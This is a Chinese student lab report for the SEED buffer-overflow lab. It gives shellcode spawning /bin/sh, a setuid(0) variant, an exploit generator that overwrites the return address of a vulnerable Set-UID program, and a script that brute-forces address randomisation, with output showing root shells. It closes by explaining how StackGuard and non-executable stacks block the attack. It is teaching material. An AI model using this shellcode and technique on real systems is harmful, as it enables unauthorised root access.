信息安全实验报告

Lab 4 Buffer Overflow Vulnerability

孙铁

SA20225414

实验开始之前，需要将针对缓冲区溢出攻击的相关防御机制关闭：

1. 关闭地址空间随机化；

```
[04/25/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

2. 关闭“Stack Guard”机制，在编译相关程序时设置对应参数；
3. 允许栈执行，在编译相关程序时设置对应参数；
4. 将 /bin/sh 链接到 /bin/zsh。

```
[04/25/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

Task 1

创建文件 call_shellcode.c：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
    "\x31\xc0"        /* Line 1: xorl %eax,%eax */
    "\x50"            /* Line 2: pushl %eax */
    "\x68""//sh"      /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"      /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"        /* Line 5: movl %esp,%ebx */
    "\x50"            /* Line 6: pushl %eax */
    "\x53"            /* Line 7: pushl %ebx */
    "\x89\xe1"        /* Line 8: movl %esp,%ecx */
    "\x99"            /* Line 9: cdq */
    "\xb0\x0b"        /* Line 10: movb $0x0b,%al */
    "\xcd\x80"        /* Line 11: int $0x80 */
    ;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)( ))buf)( );
}
```

编译并设置允许栈运行：

```
[04/25/21]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function ‘main’:
call_shellcode.c:9:2: warning: implicit declaration of function ‘execve’ [-Wimpl
icit-function-declaration]
  execve(name[0], name, NULL);
  ^
```

运行 call_shellcode 开启了一个 shell：

```
[04/25/21]seed@VM:~$ ./call_shellcode
$
```

接下来使用缓冲区溢出攻击方式来尝试启动 shell：

创建文件 stack1.c：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 400 */

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str); //①

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters
    for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

可以看出本代码的作用是使用 bof 函数读取 badfile 的内容，并将其复制到缓冲区。

关闭防御机制编译 stack1.c 为可执行文件 stack1，并将其设为 root 的 Set-UID 程序：

```
[04/25/21]seed@VM:~$ gcc -DBUF_SIZE=24 -o stack1 -z execstack -fno-stack-protect
or stack1.c
[04/25/21]seed@VM:~$ sudo chown root stack1
[04/25/21]seed@VM:~$ sudo chmod 4755 stack1
```

运行 stack1，系统提示发生了段访问错误，这是由于还没有构建 badfile 文件。

```
[04/25/21]seed@VM:~$ ./stack1
Segmentation fault
```

Task 2

创建文件 exploit.c：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
    "\x31\xc0"       /* Line 1: xorl %eax,%eax */
    "\x50"           /* Line 2: pushl %eax */
    "\x68""//sh"     /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"     /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"       /* Line 5: movl %esp,%ebx */
    "\x50"           /* Line 6: pushl %eax */
    "\x53"           /* Line 7: pushl %ebx */
    "\x89\xe1"       /* Line 8: movl %esp,%ecx */
    "\x99"           /* Line 9: cdq */
    "\xb0\x0b"       /* Line 10: movb $0x0b,%al */
    "\xcd\x80"       /* Line 11: int $0x80 */
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    /* ... Put your code here ... */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

需要在红框部分加入代码，修改 buffer 数组特定位置的数据，将包含恶意代码的 buffer 数组传入 badfile，这样运行 stack1 程序时就可以将恶意代码读入缓冲区，从而使得缓冲区溢出攻击成功。

为了构建 badfile，我们需要获得 stack1 程序运行时 main 函数调用 bof 函数的返回地址以及 shellcode 数组（既 main 函数中 char 类型数组 str）的起始地址。

使用 gdb 对 stack1 进行调试：

```
[04/25/21]seed@VM:~$ gdb stack1
```

对 bof 函数打上断点：

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack1.c, line 19.
gdb-peda$ r
```

查看 ebp 与 buffer 地址：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeac8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeaa8
```

可以看到 ebp 与 buffer 之间相差 0x20，由于返回地址在 ebp 上 4 字节处，由此可得到返回地址区域到 buffer 起始位置的距离为 0x24。

对 main 函数打上断点：

```
gdb-peda$ b main
Breakpoint 1 at 0x804851e: file stack1.c, line 31.
gdb-peda$ r
```

查看 str 的起始地址：

```
gdb-peda$ p &str
$1 = (char (*)[517]) 0xbfffeb07
```

0xbfffeb07 加上预定的 shellcode 偏移量 100（0x64）即得到新的返回地址：0xbfffeb6a。

在 exploit.c 中红框部分加入如下代码：

```
 /* ... Put your code here ... */
 strcpy(buffer+100,shellcode);
 strcpy(buffer+0x24,"\x6a\xeb\xff\xbf");
```

编译并运行 exploit，然后运行 stack1：

```
[04/25/21]seed@VM:~$ gcc -o exploit exploit.c
[04/25/21]seed@VM:~$ ./exploit
[04/25/21]seed@VM:~$ ./stack1
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功开启 shell，验证为 root 权限（euid 为 root）。

Task 3

创建文件 dash_shell_test.c：

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    char *argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;

    // setuid(0); ①
    execve("/bin/sh", argv, NULL);

    return 0;
}
```

编译并将其设置为 root 的 Set-UID 程序：

```
[04/25/21]seed@VM:~$ gcc -o dash_shell_test dash_shell_test.c
[04/25/21]seed@VM:~$ sudo chown root dash_shell_test
[04/25/21]seed@VM:~$ sudo chmod 4755 dash_shell_test
```

更改/bin/sh 链接为/bin/dash：

```
[04/25/21]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
```

运行 dash_shell_test：

```
[04/25/21]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$
```

将 dash_shell_test.c 文件中 setuid(0)注释取消，重新编译设置运行：

```
[04/25/21]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

可以看到运行用户(uid)变为了 root。

使用缓冲区溢出攻击进行同样操作：

将 exploit.c 中的 shellcode 数组改为：

```
const char shellcode[] =
    "\x31\xc0"       /* Line 1: xorl %eax,%eax */
    "\x31\xdb"       /* Line 2: xorl %ebx,%ebx */
    "\xb0\xd5"       /* Line 3: movb $0xd5,%al */
    "\xcd\x80"       /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
    "\x31\xc0"       /* Line 1: xorl %eax,%eax */
    "\x50"           /* Line 2: pushl %eax */
    "\x68""//sh"     /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"     /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"       /* Line 5: movl %esp,%ebx */
    "\x50"           /* Line 6: pushl %eax */
    "\x53"           /* Line 7: pushl %ebx */
    "\x89\xe1"       /* Line 8: movl %esp,%ecx */
    "\x99"           /* Line 9: cdq */
    "\xb0\x0b"       /* Line 10: movb $0x0b,%al */
    "\xcd\x80"       /* Line 11: int $0x80 */
    ;
```

编译并运行 exploit，然后运行 stack1：

```
[04/25/21]seed@VM:~$ gcc -o exploit exploit.c
[04/25/21]seed@VM:~$ ./exploit
[04/25/21]seed@VM:~$ ./stack1
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

获得了 root 运行的 shell。

将前四句注释掉，恢复 task2 的操作：

```
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

发现虽然 stack1 为 root 用户拥有的 Set-UID 程序，本次攻击却只获得了一个普通用户的 shell。

这是因为/bin/sh 链接改为了/bin/dash，dash 和 bash 拥有权限保护机制，当 dash 发现有效用户和运行用户不一样时，它们会把有效用户变成运行用户，主动放弃特权。而 setuid(0)则可以穿过 dash 的保护机制，直接进行系统调用将运行用户更改为 root。被注释掉的前四条指令可以执行 setuid(0)系统调用，从而获得 root 权限。

Task 4

在 32 位的 linux 系统中，栈空间拥有 19bit 的熵，这意味着栈地址最多有 2^{19}=524288 种可能性，这个数目可以轻易地通过暴力方法来遍历。也就是说，可以使用暴力攻击方法来破解地址随机化。

打开 Ubuntu 的地址随机化：

```
[04/25/21]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

创建文件 task4.sh：

```
#!/bin/bash
SECONDS=0
value=0

while [ 1 ]
        do
        value=$(( $value + 1 ))
        duration=$SECONDS
        min=$(($duration / 60))
        sec=$(($duration % 60))
        echo "$min minutes and $sec seconds elapsed."
        echo "The program has been running $value times so far."
        ./stack1
done
```

由于地址随机化，注入 badfile 中的地址可能是错误的，而此脚本的作用是不断循环进行 task2 中的缓冲区溢出攻击，直到 badfile 中的地址正确。

赋予权限并运行 task4.sh：

```
./task4.sh: line 15:  6592 Segmentation fault      ./stack1
4 minutes and 21 seconds elapsed.
The program has been running 271980 times so far.
./task4.sh: line 15:  6593 Segmentation fault      ./stack1
4 minutes and 21 seconds elapsed.
The program has been running 271981 times so far.
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

运行脚本进行了 271981 次尝试后，恶意代码得到了执行，成功启动了 root 权限的 shell。

Task 5

尝试在 StackGuard 下进行缓冲区溢出攻击，即在编译程序时不带-fno stack protector 选项：

```
[04/26/21]seed@VM:~$ gcc -g -o stack1_task5 -z execstack  stack1.c
```

为了控制唯一变量，将地址随机化关闭：

```
[04/25/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

将 stack1_task5 设置为 root 用户拥有的 Set-UID 程序，运行：

```
[04/26/21]seed@VM:~$ ./stack1_task5
*** stack smashing detected ***: ./stack1_task5 terminated
Aborted
```

StackGuard 检测到缓冲区溢出，输出“stack smashing detected”并终止程序。

由于缓冲区溢出攻击修改返回地址时，所有处于缓冲区和返回地址之间的数据内容都会被修改，而 StackGuard 机制会在缓冲区与返回地址之间放置一个不可预测的数值哨兵。在被调函数返回之前，StackGuard 会检测哨兵是否被修改，如果哨兵被修改，则说明发生了缓冲区溢出问题。

Task 6

尝试在不允许栈运行的情况下进行缓冲区溢出攻击，即编译程序时使用-z noexecstack 选项（同样将地址随机化关闭）：

```
[04/26/21]seed@VM:~$ gcc -g -o stack1_task6 -z noexecstack -fno-stack-protector
stack1.c
```

将 stack1_task6 设置为 root 用户拥有的 Set-UID 程序，运行：

```
[04/26/21]seed@VM:~$ sudo chown root stack1_task6
[04/26/21]seed@VM:~$ sudo chmod 4755 stack1_task6
[04/26/21]seed@VM:~$ ./stack1_task6
Segmentation fault
```

系统提示发生段错误，攻击失败。

缓冲区溢出攻击的关键在于执行保存在栈中的 shellcode，将栈设置为不可执行，能够将代码和数据分离开来，处理器就会拒绝运行被被标记为不可执行内存区域中的任何代码，这样缓冲区溢出攻击就会无法成功。